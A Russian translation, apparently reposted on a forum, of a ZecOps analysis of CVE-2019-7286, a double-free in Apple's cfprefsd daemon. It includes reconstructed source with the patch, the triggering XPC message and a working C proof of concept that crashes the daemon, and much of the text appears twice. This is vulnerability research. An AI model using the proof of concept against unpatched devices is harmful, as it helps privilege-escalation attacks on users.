iOS 12.1.4 - это последняя версия iOS, выпущенная 8 февраля 2019 года. В этой версии были исправлены четыре ранее обнаруженные уязвимости. Согласно твиту Бена Хоукса из Project Zero, по крайней мере две из них были использованы в виде атаке нулевого дня (zero day). "Здесь, в исследовательской группе ZecOps, мы стремились проанализировать и раскрыть больше деталей об этих ныне исправленных уязвимостях."
Если вы заинтересованы в проведении аналогичных исследований в рамках нашей программы Reverse Bounty - вы можете зарегистрироваться здесь .
TL; DR:
Согласно описанию Apple :
Доступно для: iPhone 5s и более поздних версий, iPad Air и более поздних версий и iPod touch 6-го поколения.
Воздействие. Приложение может получить повышенные привилегии.
Описание. Устранена проблема с повреждением памяти благодаря улучшенной проверке входных данных.
CVE-2019-7286: анонимный исследователь, Клемент Лежин из Группы анализа угроз Google, Ян Беер из Google Project Zero и Самуэль Грос из Google Project Zero
За исключением того факта, что уязвимость была исправлена в платформе Apple Foundation, описание не дает нам много подробностей относительно характера уязвимости.
После анализа патча в платформе Foundation бинарный анализ не выявил существенных изменений в двоичных файлах iOS 12.1.4 по сравнению с iOS 12.1.3. Следующим непосредственным подозреваемым был CoreFoundation, который показал ряд двоичных различий в инструменте Diaphora, как показано ниже:
Сравнивая исправления, мы обнаружили несколько незначительных изменений в реализации CFPrefs (cfprefsd).
Строка man не слишком наглядна:
Анализ исправления уязвимости.
Та же самая ошибка также присутствовала в OS X, которая помогла исследованию и анализу ZecOps. Во время исправления в cfprefsd было внесено несколько незначительных изменений, но, похоже, наиболее важные изменения были внесены в следующую функцию:
Детали уязвимости
handleMultiMessage: replyHandler : имеет проблему подсчета ссылок с использованием массива « CFPreferencesMessages », который является частью запроса xpc.
Функция считывает объекты массива в буфер памяти один за другим, используя xpc_array_get_value , что не влияет на подсчет ссылок. Последняя часть функции, которая освобождает все элементы в буфере, предполагает владение объектами xpc . Обычно это так, поскольку блок обратного вызова вызывает xpc_retain и заменяет исходные объекты в xpc_buffer . Однако, если обратный вызов не вызывается в результате специально созданного сообщения (тело сообщения содержит индекс обработчика для сообщения. Не все обработчики вызывают обратный вызов), произойдет двойное освобождение элемента.
XPC со следующими ключами и значениями вызовет уязвимость:
Патч Apple заменил оригинальный XPC на xpc_null, если обратный вызов не обновил xpc_buffer [count]. В результате нет условия двойного освобождения, когда xpc_null не имеет памят, для освобождения.
Воспроизведение уязвимости
Мы можем воспроизвести CVE-2019-7286, используя приведенный ниже фрагмент кода POC:
Запуск вышеуказанной программы на iOS 12.0.1 привел к сбою cfprefsd:
Рекомендации
Спасибо за прочтение этого небольшого переводика и хорошего дня
Оригинальня статья: https://blog.zecops.com/vulnerabilities/analysis-and-reproduction-of-cve-2019-7286/
Отдельное спасибо tabac
neopaket
Если вы заинтересованы в проведении аналогичных исследований в рамках нашей программы Reverse Bounty - вы можете зарегистрироваться здесь .
TL; DR:
- CVE-2019-7286 эксплуатировался в условиях уязвимостях нулевого дня.
- Кажется, что эта уязвимость имеет критическую важность и могла потенциально использоваться для поддержания устойчивости после перезагрузки
- ZecOps удалось воспроизвести эту уязвимость (POC код ниже)
- Уязвимость может использоваться для повышения привилегий пользователя root как часть цепочки для джейлбрейка на iOS 12.1.3.
Согласно описанию Apple :
Доступно для: iPhone 5s и более поздних версий, iPad Air и более поздних версий и iPod touch 6-го поколения.
Воздействие. Приложение может получить повышенные привилегии.
Описание. Устранена проблема с повреждением памяти благодаря улучшенной проверке входных данных.
CVE-2019-7286: анонимный исследователь, Клемент Лежин из Группы анализа угроз Google, Ян Беер из Google Project Zero и Самуэль Грос из Google Project Zero
За исключением того факта, что уязвимость была исправлена в платформе Apple Foundation, описание не дает нам много подробностей относительно характера уязвимости.
После анализа патча в платформе Foundation бинарный анализ не выявил существенных изменений в двоичных файлах iOS 12.1.4 по сравнению с iOS 12.1.3. Следующим непосредственным подозреваемым был CoreFoundation, который показал ряд двоичных различий в инструменте Diaphora, как показано ниже:
Сравнивая исправления, мы обнаружили несколько незначительных изменений в реализации CFPrefs (cfprefsd).
Строка man не слишком наглядна:
Опция CFPreferences используется почти каждым программным обеспечением на iOS / OS X при запуске, поэтому уязвимость в этом Daemon также может быть полезна для поддержания устойчивости. Удивительно, но пока нет общедоступной информации об этом CVE, что можно было бы ожидать от уязвимости, которая активно использовалась.cfprefsd предоставляет сервисы настроек для
API CFPreferences и NSUserDefaults.
Для cfprefsd нет опций ручных конфигурации
Анализ исправления уязвимости.
Та же самая ошибка также присутствовала в OS X, которая помогла исследованию и анализу ZecOps. Во время исправления в cfprefsd было внесено несколько незначительных изменений, но, похоже, наиболее важные изменения были внесены в следующую функцию:
Ниже приведен фрагмент попытки ZecOps восстановить исходный код Obj-C вместе с патчем:[CFPrefsDaemon handleMultiMessage: replyHandler:]
Код:
@implementation CFPrefsDaemon
-(void)handleMultiMessage:(xpc_object_t)xpc_dict replyHandler:(Callback)replyHandler
{
// ...
CFPrefMessagesArr = xpc_dictionary_get_value(xpc_dict, "CFPreferencesMessages");
// ...
xpc_array_count = xpc_array_get_count(CFPrefMessagesArr);
xpc_buffer = (__int64*)__CFAllocateObjectArray(xpc_array_count);
//...
for( counter = 0; xpc_array_count != counter; counter++)
{
xpc_buffer[counter] = xpc_array_get_value(CFPrefMessagesArr, counter); // This method does not grant the caller a reference to the underlying object, and thus the caller is not responsible for releasing the object.
}
for( counter = 0; xpc_array_count != loop_counter ; counter++)
{
xpc_element = xpc_buffer[counter];
xpc_buffer[counter] = 0; //patch fix
if ( xpc_get_type(xpc_element) == &_xpc_type_dictionary )
{
[self handleMessage_fromPeer_replyHandler: xpc_element fromPeer: xpc_connection replyHandler:^{
if (xpc_element) // patch fix
{
xpc_object_t result = xpc_retain(xpc_element);
xpc_buffer[counter] = result;
}
}];
}
if ( !xpc_buffer[counter] ) //patch fix
xpc_buffer[counter] = xpc_null_create(); //patch fix
}
//...
array_from_xpc_buffer = xpc_array_create(xpc_buffer, xpc_array_count);
xpc_dictionary_set_value(dict_response, "CFPreferencesMessages", array_from_xpc_buffer);
xpc_release(array_from_xpc_buffer);
for( counter = 0; xpc_array_count != counter ; counter++)
{
current_element = xpc_buffer[counter];
if (xpc_get_type(current_element) != &_xpc_type_null )
xpc_release(current_element); // first free. Double free will occur when the array CFPrefMessagesArr will be released.
}
// ...
}
Детали уязвимости
handleMultiMessage: replyHandler : имеет проблему подсчета ссылок с использованием массива « CFPreferencesMessages », который является частью запроса xpc.
Функция считывает объекты массива в буфер памяти один за другим, используя xpc_array_get_value , что не влияет на подсчет ссылок. Последняя часть функции, которая освобождает все элементы в буфере, предполагает владение объектами xpc . Обычно это так, поскольку блок обратного вызова вызывает xpc_retain и заменяет исходные объекты в xpc_buffer . Однако, если обратный вызов не вызывается в результате специально созданного сообщения (тело сообщения содержит индекс обработчика для сообщения. Не все обработчики вызывают обратный вызов), произойдет двойное освобождение элемента.
XPC со следующими ключами и значениями вызовет уязвимость:
Код:
poc_dict = {
"CFPreferencesOperation" = 5,
"CFPreferencesMessages" = [
{
"CFPreferencesOperation": 4
}
]
}
Патч Apple заменил оригинальный XPC на xpc_null, если обратный вызов не обновил xpc_buffer [count]. В результате нет условия двойного освобождения, когда xpc_null не имеет памят, для освобождения.
Воспроизведение уязвимости
Мы можем воспроизвести CVE-2019-7286, используя приведенный ниже фрагмент кода POC:
Код:
#include ;
int main(int argc, const char * argv[]) {
xpc_connection_t conn = xpc_connection_create_mach_service("com.apple.cfprefsd.daemon",0,XPC_CONNECTION_MACH_SERVICE_PRIVILEGED);
xpc_connection_set_event_handler(conn, ^(xpc_object_t t) {
printf("got message: %sn", xpc_copy_description(t));
});
xpc_connection_resume(conn);
xpc_object_t hello = xpc_dictionary_create(NULL, NULL, 0);
xpc_dictionary_set_int64(hello, "CFPreferencesOperation", 5);
xpc_object_t arr = xpc_array_create(NULL, 0);
xpc_object_t arr_elem1 = xpc_dictionary_create(NULL, NULL, 0);
xpc_dictionary_set_int64(arr_elem1, "CFPreferencesOperation", 4);
xpc_array_append_value(arr, arr_elem1);
xpc_dictionary_set_value(hello, "CFPreferencesMessages", arr);
xpc_connection_send_message(conn, hello);
xpc_release(hello);
return 0;
}
Запуск вышеуказанной программы на iOS 12.0.1 привел к сбою cfprefsd:
Код:
[TABLE]
[TR]
[TD]Thread 6 name: Dispatch queue: Serving PID 7210
Thread 6 Crashed:
0 libobjc.A.dylib 0x21acd6b00 objc_object::release+ 16
1 libxpc.dylib 0x21b73bbc0 _xpc_array_dispose + 40
2 libxpc.dylib 0x21b73a584 _xpc_dispose + 156
3 libxpc.dylib 0x21b7449fc _xpc_dictionary_dispose + 204
4 libxpc.dylib 0x21b73a584 _xpc_dispose + 156
5 libxpc.dylib 0x21b742418 _xpc_connection_mach_event + 872
6 libdispatch.dylib 0x21b528544 _dispatch_client_callout4 + 16
7 libdispatch.dylib 0x21b4df068 _dispatch_mach_msg_invoke + 340
8 libdispatch.dylib 0x21b4cfae4 _dispatch_lane_serial_drain + 284
9 libdispatch.dylib 0x21b4dfc3c _dispatch_mach_invoke + 476
10 libdispatch.dylib 0x21b4cfae4 _dispatch_lane_serial_drain + 284
11 libdispatch.dylib 0x21b4d0760 _dispatch_lane_invoke + 432
12 libdispatch.dylib 0x21b4d8f00 _dispatch_workloop_worker_thread + 600
13 libsystem_pthread.dylib 0x21b70a0f0 _pthread_wqthread + 312
14 libsystem_pthread.dylib 0x21b70cd00 start_wqthread + 4 [/TD]
[/TR]
[/TABLE]
Рекомендации
- Обновите до последних версий OS X и iOS.
- Периодически перезагружайте свои iPhone / iPad (например, раз в день), чтобы защитить его от злоумышленников.
Спасибо за прочтение этого небольшого переводика и хорошего дня
Оригинальня статья: https://blog.zecops.com/vulnerabilities/analysis-and-reproduction-of-cve-2019-7286/
Отдельное спасибо tabac
neopaket